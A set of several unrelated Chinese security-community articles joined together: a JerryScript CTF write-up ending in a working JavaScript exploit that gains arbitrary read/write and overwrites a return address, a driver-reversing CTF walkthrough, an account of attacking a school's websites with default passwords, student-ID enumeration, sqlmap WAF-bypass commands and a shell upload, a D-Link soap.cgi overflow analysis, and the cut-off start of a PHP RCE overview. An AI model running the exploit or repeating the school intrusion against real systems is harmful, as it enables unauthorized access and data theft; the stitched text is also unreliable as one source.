case ECMA_DATAVIEW_PROTOTYPE_BYTE_OFFSET_GETTER:
{
return ecma_builtin_dataview_prototype_object_getters (this_arg, builtin_routine_id);
}
case ECMA_DATAVIEW_PROTOTYPE_GET_FLOAT32:
#if JERRY_NUMBER_TYPE_FLOAT64
case ECMA_DATAVIEW_PROTOTYPE_GET_FLOAT64:
#endif /* JERRY_NUMBER_TYPE_FLOAT64 */
case ECMA_DATAVIEW_PROTOTYPE_GET_INT16:
case ECMA_DATAVIEW_PROTOTYPE_GET_INT32:
case ECMA_DATAVIEW_PROTOTYPE_GET_UINT16:
case ECMA_DATAVIEW_PROTOTYPE_GET_UINT32:
#if JERRY_BUILTIN_BIGINT
case ECMA_DATAVIEW_PROTOTYPE_GET_BIGINT64:
case ECMA_DATAVIEW_PROTOTYPE_GET_BIGUINT64:
#endif /* JERRY_BUILTIN_BIGINT */
{
ecma_value_t little_endian = arguments_number > 1 ? arguments_list_p[1] : ECMA_VALUE_FALSE;
ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_GET_INT8);
return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, little_endian, ECMA_VALUE_EMPTY, id);
}
case ECMA_DATAVIEW_PROTOTYPE_SET_FLOAT32:
#if JERRY_NUMBER_TYPE_FLOAT64
case ECMA_DATAVIEW_PROTOTYPE_SET_FLOAT64:
#endif /* JERRY_NUMBER_TYPE_FLOAT64 */
case ECMA_DATAVIEW_PROTOTYPE_SET_INT16:
case ECMA_DATAVIEW_PROTOTYPE_SET_INT32:
case ECMA_DATAVIEW_PROTOTYPE_SET_UINT16:
case ECMA_DATAVIEW_PROTOTYPE_SET_UINT32:
#if JERRY_BUILTIN_BIGINT
case ECMA_DATAVIEW_PROTOTYPE_SET_BIGINT64:
case ECMA_DATAVIEW_PROTOTYPE_SET_BIGUINT64:
#endif /* JERRY_BUILTIN_BIGINT */
{
ecma_value_t value_to_set = arguments_number > 1 ? arguments_list_p[1] : ECMA_VALUE_UNDEFINED;
ecma_value_t little_endian = arguments_number > 2 ? arguments_list_p[2] : ECMA_VALUE_FALSE;
ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_SET_INT8);
return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, little_endian, value_to_set, id);
}
case ECMA_DATAVIEW_PROTOTYPE_GET_INT8:
case ECMA_DATAVIEW_PROTOTYPE_GET_UINT8:
{
ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_GET_INT8);
return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, ECMA_VALUE_FALSE, ECMA_VALUE_EMPTY, id);
}
default:
{
JERRY_ASSERT (builtin_routine_id == ECMA_DATAVIEW_PROTOTYPE_SET_INT8
|| builtin_routine_id == ECMA_DATAVIEW_PROTOTYPE_SET_UINT8);
ecma_value_t value_to_set = arguments_number > 1 ? arguments_list_p[1] : ECMA_VALUE_UNDEFINED;
ecma_typedarray_type_t id = (ecma_typedarray_type_t) (builtin_routine_id - ECMA_DATAVIEW_PROTOTYPE_SET_INT8);
return ecma_op_dataview_get_set_view_value (this_arg, byte_offset, ECMA_VALUE_FALSE, value_to_set, id);
}
}
} /* ecma_builtin_dataview_prototype_dispatch_routine */
然后来看看这一函数。
ecma_value_t
ecma_op_dataview_get_set_view_value (ecma_value_t view, /**< the operation's 'view' argument */
ecma_value_t request_index, /**< the operation's 'requestIndex' argument */
ecma_value_t is_little_endian_value, /**< the operation's
* 'isLittleEndian' argument */
ecma_value_t value_to_set, /**< the operation's 'value' argument */
ecma_typedarray_type_t id) /**< the operation's 'type' argument */
{
/* 1 - 2. */
ecma_dataview_object_t *view_p = ecma_op_dataview_get_object (view);//object
if (JERRY_UNLIKELY (view_p == NULL))
{
return ECMA_VALUE_ERROR;
}
ecma_object_t *buffer_p = view_p->buffer_p;//获取object属性里的buffer
JERRY_ASSERT (ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_ARRAY_BUFFER)
|| ecma_object_class_is (buffer_p, ECMA_OBJECT_CLASS_SHARED_ARRAY_BUFFER));
/* 3. */
ecma_number_t get_index;
ecma_value_t number_index_value = ecma_op_to_index (request_index, &get_index);
if (ECMA_IS_VALUE_ERROR (number_index_value))
{
return number_index_value;
}
/* SetViewValue 4 - 5. */
if (!ecma_is_value_empty (value_to_set))
{
#if JERRY_BUILTIN_BIGINT
if (ECMA_TYPEDARRAY_IS_BIGINT_TYPE (id))
{
value_to_set = ecma_bigint_to_bigint (value_to_set, true);
if (ECMA_IS_VALUE_ERROR (value_to_set))
{
return value_to_set;
}
}
else
#endif /* JERRY_BUILTIN_BIGINT */
{
ecma_number_t value_to_set_number;
ecma_value_t value = ecma_op_to_number (value_to_set, &value_to_set_number);
if (ECMA_IS_VALUE_ERROR (value))
{
return value;
}
value_to_set = ecma_make_number_value (value_to_set_number);
}
}
/* GetViewValue 4., SetViewValue 6. */
bool is_little_endian = ecma_op_to_boolean (is_little_endian_value);
if (ecma_arraybuffer_is_detached (buffer_p))
{
ecma_free_value (value_to_set);
return ecma_raise_type_error (ECMA_ERR_MSG (ecma_error_arraybuffer_is_detached));
}
/* GetViewValue 7., SetViewValue 9. */
uint32_t view_offset = view_p->byte_offset;
/* GetViewValue 8., SetViewValue 10. */
uint32_t view_size = view_p->header.u.cls.u3.length;//获取object里的length
/* GetViewValue 9., SetViewValue 11. */
uint8_t element_size = (uint8_t) (1 << (ecma_typedarray_helper_get_shift_size (id)));
/* GetViewValue 10., SetViewValue 12. */
if (get_index + element_size > (ecma_number_t) view_size)//判断是否越界
{
ecma_free_value (value_to_set);
return ecma_raise_range_error (ECMA_ERR_MSG ("Start offset is outside the bounds of the buffer"));
}
/* GetViewValue 11., SetViewValue 13. */
//然后下面就是利用buffer_p取计算然后get值和设置值的操作。
uint32_t buffer_index = (uint32_t) get_index + view_offset;
lit_utf8_byte_t *block_p = ecma_arraybuffer_get_buffer (buffer_p) + buffer_index;
bool system_is_little_endian = ecma_dataview_check_little_endian ();
ecma_typedarray_info_t info;
info.id = id;
info.length = view_size;
info.shift = ecma_typedarray_helper_get_shift_size (id);
info.element_size = element_size;
info.offset = view_p->byte_offset;
info.array_buffer_p = buffer_p;
/* GetViewValue 12. */
if (ecma_is_value_empty (value_to_set))
{
JERRY_VLA (lit_utf8_byte_t, swap_block_p, element_size);
memcpy (swap_block_p, block_p, element_size * sizeof (lit_utf8_byte_t));
ecma_dataview_swap_order (system_is_little_endian, is_little_endian, element_size, swap_block_p);
info.buffer_p = swap_block_p;
return ecma_get_typedarray_element (&info, 0);
}
if (!ecma_number_is_nan (get_index) && get_index <= 0)
{
get_index = 0;
}
/* SetViewValue 14. */
info.buffer_p = block_p;
ecma_value_t set_element = ecma_set_typedarray_element (&info, value_to_set, 0);
ecma_free_value (value_to_set);
if (ECMA_IS_VALUE_ERROR (set_element))
{
return set_element;
}
ecma_dataview_swap_order (system_is_little_endian, is_little_endian, element_size, block_p);
return ECMA_VALUE_UNDEFINED;
} /* ecma_op_dataview_get_set_view_value */
在ecma_create_object 里面调用jmem_heap_alloc 去分配地址，也就是说Jerry 有自己的一套内存管理机制，如下
static void * JERRY_ATTR_HOT
jmem_heap_alloc (const size_t size) /**< size of requested block */
{
#if !JERRY_SYSTEM_ALLOCATOR
/* Align size. */
const size_t required_size = ((size + JMEM_ALIGNMENT - 1) / JMEM_ALIGNMENT) * JMEM_ALIGNMENT;
jmem_heap_free_t *data_space_p = NULL;
JMEM_VALGRIND_DEFINED_SPACE (&JERRY_HEAP_CONTEXT (first), sizeof (jmem_heap_free_t));
/* Fast path for 8 byte chunks, first region is guaranteed to be sufficient. */
if (required_size == JMEM_ALIGNMENT
&& JERRY_LIKELY (JERRY_HEAP_CONTEXT (first).next_offset != JMEM_HEAP_END_OF_LIST))
{
data_space_p = JMEM_HEAP_GET_ADDR_FROM_OFFSET (JERRY_HEAP_CONTEXT (first).next_offset);
JERRY_ASSERT (jmem_is_heap_pointer (data_space_p));
JMEM_VALGRIND_DEFINED_SPACE (data_space_p, sizeof (jmem_heap_free_t));
JERRY_CONTEXT (jmem_heap_allocated_size) += JMEM_ALIGNMENT;
if (JERRY_CONTEXT (jmem_heap_allocated_size) >= JERRY_CONTEXT (jmem_heap_limit))
{
JERRY_CONTEXT (jmem_heap_limit) += CONFIG_GC_LIMIT;
}
if (data_space_p->size == JMEM_ALIGNMENT)
{
JERRY_HEAP_CONTEXT (first).next_offset = data_space_p->next_offset;
}
else
{
JERRY_ASSERT (data_space_p->size > JMEM_ALIGNMENT);
jmem_heap_free_t *remaining_p;
remaining_p = JMEM_HEAP_GET_ADDR_FROM_OFFSET (JERRY_HEAP_CONTEXT (first).next_offset) + 1;
JMEM_VALGRIND_DEFINED_SPACE (remaining_p, sizeof (jmem_heap_free_t));
remaining_p->size = data_space_p->size - JMEM_ALIGNMENT;
remaining_p->next_offset = data_space_p->next_offset;
JMEM_VALGRIND_NOACCESS_SPACE (remaining_p, sizeof (jmem_heap_free_t));
JERRY_HEAP_CONTEXT (first).next_offset = JMEM_HEAP_GET_OFFSET_FROM_ADDR (remaining_p);
}
JMEM_VALGRIND_NOACCESS_SPACE (data_space_p, sizeof (jmem_heap_free_t));
if (JERRY_UNLIKELY (data_space_p == JERRY_CONTEXT (jmem_heap_list_skip_p)))
{
JERRY_CONTEXT (jmem_heap_list_skip_p) = JMEM_HEAP_GET_ADDR_FROM_OFFSET (JERRY_HEAP_CONTEXT (first).next_offset);
}
}
/* Slow path for larger regions. */
else
{
uint32_t current_offset = JERRY_HEAP_CONTEXT (first).next_offset;
jmem_heap_free_t *prev_p = &JERRY_HEAP_CONTEXT (first);
while (JERRY_LIKELY (current_offset != JMEM_HEAP_END_OF_LIST))
{
jmem_heap_free_t *current_p = JMEM_HEAP_GET_ADDR_FROM_OFFSET (current_offset);
JERRY_ASSERT (jmem_is_heap_pointer (current_p));
JMEM_VALGRIND_DEFINED_SPACE (current_p, sizeof (jmem_heap_free_t));
const uint32_t next_offset = current_p->next_offset;
JERRY_ASSERT (next_offset == JMEM_HEAP_END_OF_LIST
|| jmem_is_heap_pointer (JMEM_HEAP_GET_ADDR_FROM_OFFSET (next_offset)));
if (current_p->size >= required_size)
{
/* Region is sufficiently big, store address. */
data_space_p = current_p;
/* Region was larger than necessary. */
if (current_p->size > required_size)
{
/* Get address of remaining space. */
jmem_heap_free_t *const remaining_p = (jmem_heap_free_t *) ((uint8_t *) current_p + required_size);
/* Update metadata. */
JMEM_VALGRIND_DEFINED_SPACE (remaining_p, sizeof (jmem_heap_free_t));
remaining_p->size = current_p->size - (uint32_t) required_size;
remaining_p->next_offset = next_offset;
JMEM_VALGRIND_NOACCESS_SPACE (remaining_p, sizeof (jmem_heap_free_t));
/* Update list. */
JMEM_VALGRIND_DEFINED_SPACE (prev_p, sizeof (jmem_heap_free_t));
prev_p->next_offset = JMEM_HEAP_GET_OFFSET_FROM_ADDR (remaining_p);
JMEM_VALGRIND_NOACCESS_SPACE (prev_p, sizeof (jmem_heap_free_t));
}
/* Block is an exact fit. */
else
{
/* Remove the region from the list. */
JMEM_VALGRIND_DEFINED_SPACE (prev_p, sizeof (jmem_heap_free_t));
prev_p->next_offset = next_offset;
JMEM_VALGRIND_NOACCESS_SPACE (prev_p, sizeof (jmem_heap_free_t));
}
JERRY_CONTEXT (jmem_heap_list_skip_p) = prev_p;
/* Found enough space. */
JERRY_CONTEXT (jmem_heap_allocated_size) += required_size;
while (JERRY_CONTEXT (jmem_heap_allocated_size) >= JERRY_CONTEXT (jmem_heap_limit))
{
JERRY_CONTEXT (jmem_heap_limit) += CONFIG_GC_LIMIT;
}
break;
}
JMEM_VALGRIND_NOACCESS_SPACE (current_p, sizeof (jmem_heap_free_t));
/* Next in list. */
prev_p = current_p;
current_offset = next_offset;
}
}
JMEM_VALGRIND_NOACCESS_SPACE (&JERRY_HEAP_CONTEXT (first), sizeof (jmem_heap_free_t));
JERRY_ASSERT ((uintptr_t) data_space_p % JMEM_ALIGNMENT == 0);
JMEM_VALGRIND_MALLOCLIKE_SPACE (data_space_p, size);
return (void *) data_space_p;
#else /* JERRY_SYSTEM_ALLOCATOR */
JERRY_CONTEXT (jmem_heap_allocated_size) += size;
while (JERRY_CONTEXT (jmem_heap_allocated_size) >= JERRY_CONTEXT (jmem_heap_limit))
{
JERRY_CONTEXT (jmem_heap_limit) += CONFIG_GC_LIMIT;
}
return malloc (size);
#endif /* !JERRY_SYSTEM_ALLOCATOR */
} /* jmem_heap_alloc */
struct jmem_heap_t
{
jmem_heap_free_t first; /**< first node in free region list */
uint8_t area[JMEM_HEAP_AREA_SIZE]; /**< heap area */
};
/**
* Global heap.
*/
extern jmem_heap_t jerry_global_heap;
/**
* Provides a reference to a field of the heap.
*/
#define JERRY_HEAP_CONTEXT(field) (jerry_global_heap.field)
也就是说最终使用jerry_global_heap来管理，而且这个jerry_global_heap也是固定于代码加载基地址的。
## N1CTF &&Jerry
### 1.分析漏洞点
题目给了个Jerry,然后一般这种浏览器是会给diff的，但这题没有给，需要我们通过他给的Binary
去反推他打了什么补丁。首先通过运行时选项找到Version和commit
然后release版本的strip版本和非strip版本都编译一遍。
git clone https://github.com/jerryscript-project/jerryscript.git
cd jerryscript
git reset --hard d4178ae3
python tools/build.py //python tools/build.py --strip=off
发现我们自己编译的release strip 版本和题目给的版本就一个函数 有差别。然后记住release strip
这个偏移—0x2643d。然后用IDA 打开没有strip版本的Binary ，因为有符号所以我们可以迅速定位到是哪个函数进行了修改，而strip
版本和非strip版本函数的偏移是一样的。
最终利用偏移搜索发现是这个函数。
然后我们拿这个和题目的对比这一函数的具体代码。可以看到在题目给的Binary
比我们编译的少了一个检查。但是具体也说不清是怎么回事，所以我们去查看源代码。找到对应的函数。
这里是部分对应代码由于这个ecma_builtin_dataview_dispatch_construct
最终调用ecma_op_dataview_create ，所以我看查看ecma_op_dataview_create 部分源码。
ecma_value_t
ecma_builtin_dataview_dispatch_construct (const ecma_value_t *arguments_list_p, /**< arguments list */
uint32_t arguments_list_len) /**< number of arguments */
{
return ecma_op_dataview_create (arguments_list_p, arguments_list_len);
} /* ecma_builtin_dataview_dispatch_construct */
通过上下文很容易找出是这里被删掉了就是我打的注释的部分。
ecma_value_t
ecma_op_dataview_create (const ecma_value_t *arguments_list_p, /**< arguments list */
uint32_t arguments_list_len) /**< number of arguments */
{
[...]
uint32_t view_byte_length;
if (arguments_list_len > 2 && !ecma_is_value_undefined (arguments_list_p[2]))
{
/* 8.a */
ecma_number_t byte_length_to_index;
//获取第二个参数赋值
ecma_value_t byte_length_value = ecma_op_to_index (arguments_list_p[2], &byte_length_to_index);
if (ECMA_IS_VALUE_ERROR (byte_length_value))
{
return byte_length_value;
}
/* 8.b */
// if (offset + byte_length_to_index > buffer_byte_length)
// {
// return ecma_raise_range_error (ECMA_ERR_MSG ("Start offset is outside the bounds of the buffer"));
// }
//JERRY_ASSERT (byte_length_to_index <= UINT32_MAX);
view_byte_length = (uint32_t) byte_length_to_index;
}
[...]
ecma_object_t *object_p = ecma_create_object (prototype_obj_p,
sizeof (ecma_dataview_object_t),
ECMA_OBJECT_TYPE_CLASS);
ecma_deref_object (prototype_obj_p);
/* 11 - 14. */
ecma_dataview_object_t *dataview_obj_p = (ecma_dataview_object_t *) object_p;
dataview_obj_p->header.u.cls.type = ECMA_OBJECT_CLASS_DATAVIEW;
dataview_obj_p->header.u.cls.u3.length = view_byte_length;//赋值给length
dataview_obj_p->buffer_p = buffer_p;
dataview_obj_p->byte_offset = (uint32_t) offset;
return ecma_make_object_value (object_p);
} /* ecma_op_dataview_create */
根据上下文可以分析出来这一段判断是否越界的，再设置长度的，去掉这一判断就可以造成设置length的越界。然后根据前置知识我们就是可以获得一个DataView的OOB，接下来我们只需要更改buffer_p就可以任意地址R/W了。这里由于Jerry用的自己的一套内存管理最好选择打栈的返回地址最好。
### 2.漏洞利用
漏洞利用就没什么能说的了，我直接拿题目给的去调的。本机环境20.04，题目给的是21.04不过差别不大，本机调完对远程改个偏移就能通了。
首先看下Debug版本中DataView的内存分布。直接下断点到ecma-dataview-object.c:155。
然后就可以利用Debug 版本的优化 自由输出变量的值。
var buffer = new ArrayBuffer(0x10)
var buffer2 = new ArrayBuffer(0x10)
data2=new DataView(buffer,0,0x100)
data=new DataView(buffer2,0,0x100)
第一个箭头是buffer_p，第二个是length。
可以看到这两个DataView对象离得不远，然后我们可以通过OOB用第一个去设置第二个的Buffer，造成ABR/W，然后leak
textbase，leak libc，leak stack ，最终改写main函数返回地址为One_gadget。
### 3.Exploit
Ubuntu20.04，题目给的Binary不好下断点的话，就用assert就行了。
var buffer = new ArrayBuffer(0x10)
var buffer2 = new ArrayBuffer(0x10)
data2=new DataView(buffer,0,0x100)
data=new DataView(buffer2,0,0x100)
data.setUint32(0,0x41414141)
data.setUint32(4,0x41414141)
data2.setUint32(0,0x42424242)
data2.setUint32(4,0x42424242)
jerry_gloal_heap_offset=0x68
jerry_gloal_heap=data.getUint32(jerry_gloal_heap_offset+4,true)*0x100000000+data.getUint32(jerry_gloal_heap_offset,true)
text_base=jerry_gloal_heap-0x6d458
realloc_got=text_base+0x00000000006bf00+0x10
print(jerry_gloal_heap.toString(16))
print(text_base.toString(16))
print(realloc_got.toString(16))
data.setUint32(jerry_gloal_heap_offset,realloc_got&0xffffffff,true)
libc_base=data2.getUint32(4,true)*0x100000000+data2.getUint32(0,true)-0x9e000
print(libc_base.toString(16))
env=libc_base+0x1ef2e0-0x10
print(env.toString(16))
data.setUint32(jerry_gloal_heap_offset,env&0xffffffff,true)
data.setUint32(jerry_gloal_heap_offset+4,env/0x100000000,true)
stack=data2.getUint32(4,true)*0x100000000+data2.getUint32(0,true)
print(stack.toString(16))
ret_addr=stack-0x108-0x10
ogg=libc_base+[0xe6c7e,0xe6c81,0xe6c84][1]
data.setUint32(jerry_gloal_heap_offset,ret_addr&0xffffffff,true)
data.setUint32(jerry_gloal_heap_offset+4,ret_addr/0x100000000,true)
data2.setUint32(0,ogg&0xffffffff,true)
data2.setUint32(4,ogg/0x100000000,true)
//assert(1==2) | 社区文章 |
题目打包：<https://pan.baidu.com/s/1eRKxKT8> 密码244u
题目给出了以下提示信息：
加载驱动，驱动卸载的时候会解密密文，请取得解密后的字符串。
提示：
1）驱动有点小问题，如果执行过程不符合预期，请尝试修复。
2）密钥会在驱动设备被打开的时候初始化。
3）解密的字符串以“Cong.”开头，长度一共37个字节。
### 一、驱动修复
显然根据提示，驱动无法正常启动，这时候打开IDA加载该驱动。
首先查找驱动存在的问题，IDA加载后，
[
可以看出110A4处的函数是驱动的卸载函数
而在驱动创建设备的过程中没能正确给驱动卸载例程赋值，如图
[
根据驱动例程结构，我们要把原来的位于11190出代码（占7字节）
push eax
mov eax, offset sub_110A4
pop eax
改为：
mov dword ptr [edi+34h], offset sub_110A4
在IDA里点中指令mov dword ptr [edi+40h], offset sub_11006 的起始位置，然后点击HEX-VIEW，
我们查看该指令对应的机器码为：
[
可以看出该条指令由操作码和操作数组成，共占了7字节，内存里的数据都是反的，
这里06 10 01 00 反过来就是00011006，对应offset sub_11006函数，40对应[edi]指针偏移量,
那么我们可以对应的构造我们要修改后的指令的机器码为：
C7 47 34 a4 10 01 00 。
用010editor打开360dst.sys,搜索二进制数据C7 47 40 06 10 01 00定位到要修改的位置。
我们把VA=11190开始后面的7个字节用C7 47 34 a4 10 01 00覆盖，这样就成功的添加了卸载例程。
修改后如图：
[
然后另存为sys文件，IDA打开后如图：
[
这时候虽然指令显示对了，但是驱动还是存在问题，无法启动的。由于系统每次加载驱动时，加载基址都不同，
如果地址110A4被占用了，不进行重定位，指令将无法正常执行。驱动里需要对函数地址重定位。
如何进行重定位呢，这里我介绍一个快速并且简单的方法来进行重定位。
驱动原本就有指令mov dword ptr [edi+40h], offset sub_11006，同样用到了函数11006,
那么它应该本来就有一个重定位表，这时我们用LordPE查看驱动的重定位表如图：
[
我们可以看到重定位表里对函数 1102A 1006 110A4都进行了重定位，
1102A重定位对应的RVA是1185,11006对应118C，110A4对应1192。
在IDA被重定位的代码的VA地址如下：
[
通过lordpe里的数据 和IDA里的对比可以发现，实际上只需要在驱动重定位表里填上需要定位的数据的RVA就可以了。
比如数据11102A对应的VA是11185减去基址10000后为1185，那么重定位表里应该填1185就可以了。
我们修改后的代码110A4对应的是11193,重定位表里把原来的1192改为1193就可以了。
但实际上重定位表里填的数据并不是RVA，我们看16进制重定位表数据如下：
[
这里我们还是要大致了解一下重定位表里的数据结构：
[
重定位表由多个重定位块儿组成，每个重定位块儿由块的虚拟地址VA、块大小 、重定位数据RelocData组成。
重定位数据的高4位，比如301A的3代表的是重定位类型IMAGE_REL_BASED_HIGHLOW,WIN32下基本都是这个类型。
重定位数据的RVA=VA+RelocData&0xff，比如RelocData=301A时其RVA=0x1000+0x301A&0xff=101A。
那么根据RVA我们同样也可以得到RelocData，
比如我们要重定位的数据的RVA=1193，其对应RelocData=0x1193-0x1000+0x3000 =0x3193。
因此我们只要修改重定位表添加一个重定位数据3193 对应内存值为93 31 然后对应修改所在重定位块儿的大小就可以了。
这里实际上并不需要添加新的数据项，重定位表对RVA 分别为1185 118C 1192的数据进行了重定位
根据上面公式其分别对应的RelocData为3185 318C 3192，在重定位表里可以明显观察到如图：
[
我们在VA=0x11190的地方对代码进行了修改，需要重定位的数据的VA=0x11193-> RVA=0x1193 ->RelocData=0x3193 ，
原本的0x3192已经没用了，直接修改为3193即可，对应的内存数据92 31 改为93 31，这样就完成了重定位。
修改完了，驱动还是有点小问题的，还不可以启动，用lordpe打开如图：
[
点一下checksum对应的项的问号按钮，这时会自动修正该值，修正后别忘记点一下save，这时驱动已经可以启动。
修复后的驱动文件打包为：<https://pan.baidu.com/s/1dFgK2QX> 密码 x78v
二、驱动调试解密
根据提示：密钥会在驱动设备被打开的时候初始化。因此我们要写个应用层的代码来调用打开驱动设备，代码如下：
#include<windows.h>
# include<stdio.h>
intmain()
{
char Dname[] = "\\.\360Dst";
HANDLE Handle = CreateFile(Dname,GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ |FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(Handle == INVALID_HANDLE_VALUE)
{
printf("openfaild:%d\n", GetLastError());
}
else
{
printf("open ok\n");
}
return 0;
}
在启动驱动后，运行上面的代码，如果成功，就可以打开驱动设备，这一过程将会初始化密钥。
但是在打开驱动设备的例程函数1102A里有如下代码：
[
这里很难实现进程ID=360，所以只好修改此处代码 NOP 掉jnz跳转。
同样我们观察指令jnz short loc_11080，对应的机器码为75 3C，
在010editor打开驱动，搜索周围特征值定位到75 3C 直接改成90 90 就可以了。改后代码如下
[
这样就可以成功给参数P赋值了 ，这个值在卸载函数里要用到。
在修改完驱动文件后，还要记得修正一下 checksum，否则又不能启动驱动了。
在卸载函数110A4里代码如下：
[
可以看到函数最后调用了函数11482 这个应该就是解密函数，
传入的有两个指针，一个是p,一个是14000，14000指向的数据为：
[
猜测应该是密文数据，参数P是在打开设备时候赋值的猜测应该是密钥。
下面我们就用WINDBG调试一下这个驱动，看看能否得到解密后的数据：
关于驱动调试环境配置网上资料很多，这里就不多说了，可以参考下面的文章：
<http://www.cnblogs.com/UnMovedMover/p/3690369.html>
我的调试环境为：
本机:win7 64位 windbg 32位
虚拟机:win7 32位
配置好环境后，等等虚拟机启动完毕后，中断调试器，下模块加载断点：
sxe -c "ds poi(@esp+4); kv" ld:360dsth
其中360dsh是驱动模块名。
然后执行命令g 虚拟机继续运行，接着安装驱动，然后启动驱动
这时中断如下：
[
这时候我们要对函数关键位置下断点，等待中断后查找内存里的解密字符串。
由于和IDA加载基址不同，首先我们要找到windbg内存中代码的地址，才能下断。
在windbg执行命令lm 可以查看模块加载基址：
[
根据PE结构，我们可以计算得到驱动入口的地址：
94f8c000+poi(poi(94f8c000+0x3c)+ 94f8c000+0x28)
在ida里驱动入口地址为1503E
那么我们下断的时候 如果要下断的地址为adress
在windbg里对应的地址就为
94f8c000+poi(poi(94f8c000+0x3c)+ 94f8c000+0x28)-(1503e-adress)
比如我们如果要在解密函数处下断：
[
我们在指令push eax处下断，其对应的地址为110e7，我们在windbg里用u命令反汇编一下我们得到的windbg里的地址对应的代码，
看是否正确：
[
跟IDA里的代码一样，我们就对这个地址下断，执行命令：
bp 94f8c000+poi(poi(94f8c000+0x3c)+94f8c000+0x28)-(1503e-110e7)
然后执行g命令，让虚拟机继续运行。
在虚拟机里运行前面的应用层代码编译的程序，打开驱动设备，然后停止驱动
[
在驱动停止的时候会执行卸载函数，然后会在我们下的断点处中断下来：
这时在执行解密函数前观察，传入的指针的内存数据：
[
可以看到IDA里14000处密文在windbg地址为94f9000
然后按F10 执行解密函数 再观察此处的值：
[
到此密文已经被解密了，根据提示，答案前5个字符为Cong.可以确认已经得到答案了。 | 社区文章 |
前言：此次渗透测试较为基础，有很多不足的地方，希望各位大佬能够指正
首先打开学校的官网：<http://www.xxxx.edu.cn> 嗯，直接干。。。
这里直接进行子站查找，一般主站不会让你打进去的(大佬当我没说 ^..^)，
进行了一番查找，找到了一个学校的图书馆系统
需要学号和密码 学号一般通过谷歌语法来搜集就可以 默认密码打一发123456
一发入魂，然后想到固定密码然后跑一发学号这样准确率会高很多
根据学号推测 例如 2019 ****** 一般是根据 入校年数+专业+班级+**来设定的，随后按照猜想 构造学号开始遍历
302 都是成功跳转的，成功拿到学生的图书馆系统
当然不能够忘记我最喜欢的SQL注入了，根据谷歌语法来搜集一波 site:xxx.edu.cn inurl:?=
皇天不负有心人，打开站点
刚开始我是有点懵的，随后才想到会不会是MTE= 进行了加密 随后
试试单引号
啊这，sqlmap 一把梭，调用base64的脚本，base64encode.py
读到管理员用户名和密码，随后一处任意文件上传拿到了shell
期间还发现了一个站点，进行目录扫描后发现
属实不知道这是个啥，上面还有数据库执行语句。。。
随后通过ip扫描找到一个阅卷系统
通过查看js发现
尝试通过修改返回包来测试——————失败
Fuzz出了test 用户名 密码 发现并没有什么值得利用的
Burp抓包发现在newpass参数存在注入
Sqlmap 一把梭，现实却给了我一片红。。。
发现目标存在安全狗，调用equaltolike,space2mysqldash 来实现绕过
感谢我junmo师傅帮我绕狗
sqlmap.py -r c:/2.txt --dbms mssql --skip-waf --random-agent --technique SBT
-v 3 -p newpass --tamper equaltolike,space2mysqldash
不是dba 。。。没找到后台 然后继续寻找到一处dba权限的sql 因为也有安全狗所以用脏数据来消耗内存
然后在一处继续教育平台也发现了一处sql
而且这里存在一处逻辑绕过
抓包将这里的响应修改为1是即可绕过
至此对该学校的渗透结束
总结：
1.这次的渗透测试来说没有什么很技术性的东西，有的只是个人经验
2.这次挖掘的这么多的漏洞主要是信息和资产搜集，所以说搜集信息真的很重要
3.遇到可疑点就要多测测，宁可浪费一千也不可漏掉一个 | 社区文章 |
作者：[Chu](http://mp.weixin.qq.com/s/8C3jbfMy3sKCSdul4Y8Pcg "Chu")
来源：微信公众号：sh3ll
#### 1\. 前言
老板前一段给买了几款路由把玩，研究了下 D-Link DIR 629、DIR 823 这两款板子。
发现在 soap.cgi 中存在几处栈溢出，均可以远程利用，并且其他型号的路由也有对 soap 这一部分代码的复用。
#### 2\. 逆向分析与漏洞挖掘
因为是想挖几个能远程利用的洞，首先去看了 HTTP 服务，也就是 /htdocs/cgibin。
D-Link HTTP 服务由cgibin提供，并通过软链接的文件名进入到不同的处理分支：
在各个 cgi 处理函数中，会通过 cgibin_parse_request 来解析用户输入，其函数原型大致如下：
参数 `save_param_func` 用于传入解析/存储 HTTP 请求的具体 handler，读取 HTTP 请求后使用该 handler
具体处理用户输入。在 soapcgi_main（0x00418E28）中传入了漏洞函数
`vulnerable_sprintf_parser（0x0041893C）`：
跟进 `vulnerable_sprintf_parser` 可以发现程序未进行边界检查便将全局变量 `g_http_soapaction` 通过
sprintf 写到栈上：
`g_http_soapaction` 来自于 `soapcgi_main` 中对 HTTP Header SOAPACTION 字段的解析：
取 HTTP_SOAPACTION：
取 # 后的值：
至此漏洞原理已经明了：soapcgi_main 中未进行边界检查便将 HTTP Header 中的 SOAPACTION 字段存储至栈上，导致栈溢出。
#### 3\. 漏洞利用
基础信息：
MIPS 大端序，开启了 NX，未开启 ASLR、PIE，只需要做个 ROP。
溢出的崩溃现场如下：
S2-S3、SP 指向的内存可控，要编写 ROP 只能在这几个寄存器上做文章，最终用 ropper 在 uClibc 中找了个很不错的 gadget：
现在需要做的就是找到 libc 加载的实际基址。
在隔壁开锁王师傅的指导下把板子拆开，接上串口：
成功获取到 shell：
拿到 shell 后读 /proc/pid/maps 就可以获取到libc的加载基址。
最终编写 ROP 如下：
攻击演示：
* * * | 社区文章 |
# PHP下的RCE总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
为啥加了PHP的前缀，因为Java和PHP从运行机制上讲就不是有任何相同点的东西；无论是从编程还是免杀还是代码审计….
更何况Java安全近期才兴起，资料也极度匮乏
扯远了，本笔记就综合一下各大佬的笔记再加上自己的干货~梳理一下PHP命令执行的相关知识
记得区分一下：
1. **通过代码执行漏洞来调用能执行系统命令的函数。**
2. **通过命令执行漏洞直接执行命令。**
## Apache安装（如果你不用PHPStudy的话）
官网去[下载](https://www.apachehaus.com/cgi-bin/download.plx)，我下的时候是最新版的2.4
然后记得去`主目录/conf/httpd.conf`修改下配置文件，修改为你的Apache主目录
可以到`主目录/bin`下执行httpd命令，测试配置文件是否合法
httpd -t
没问题的话就可以开始安装Apache服务了；n参数后面代表你自定义的服务名称，你随意
